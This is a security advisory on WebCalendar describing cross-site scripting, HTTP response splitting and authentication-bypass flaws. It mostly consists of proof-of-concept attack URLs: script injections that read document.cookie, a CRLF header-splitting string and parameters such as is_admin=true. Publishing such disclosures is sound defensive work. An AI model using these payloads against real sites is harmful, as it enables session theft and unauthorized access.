source: https://www.securityfocus.com/bid/11651/info

Multiple remote vulnerabilities are reported to exist in WebCalendar.

Multiple cross-site scripting vulnerabilites, an HTTP response splitting vulnerability, and two authentication bypass vulnerabilities are reported to exist in many different scripts in the affected application.

Fixes are reported to exist in the CVS version of the software.

http://www.example.com/view_entry.php?id=41972"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)>&date=20041001
http://www.example.com/view_d.php?id=657"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)%20height=0%20width=0>&date=20041009
http://www.example.com/usersel.php?form=editentryform.elements[20];%0d%0aalert(document.cookie);//&listid=20&users=demo,demo1,demo2
http://www.example.com/datesel.php?form=editentryform.elements[20].rpt_day.selectedIndex%20=%20day%20-%201;alert(document.cookie);//"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)>&fday=rpt_day&fmonth=rpt_month&fyear=rpt_year&date=20041001
http://www.example.com/datesel.php?form=editentryform&fday=rpt_day"%20onclick=javascript:alert(document.cookie)>&fmonth=rpt_month&fyear=rpt_year&date=20041001
http://www.example.com/includes/trailer.php?user="><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)>
http://www.example.com/includes/styles.php?FONTS=asdf}%0A--></style><script>alert(document.cookie)</script>

Example for the HTTP response splitting vulnerability:
http://www.example.com/login.php?return_path=%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0a%0d%0dContent-Type:text/html%0d%0aContent-Length:9%0d%0aHi to all

Examples for the authentication bypass vulnerabilities:
http://www.example.com/view_entry.php?id=41972&date=20041001&is_admin=true&is_nonuser_admin=true&is_assistant=true
http://www.example.com/upcoming.php?public_must_be_enabled=true&public_access=Y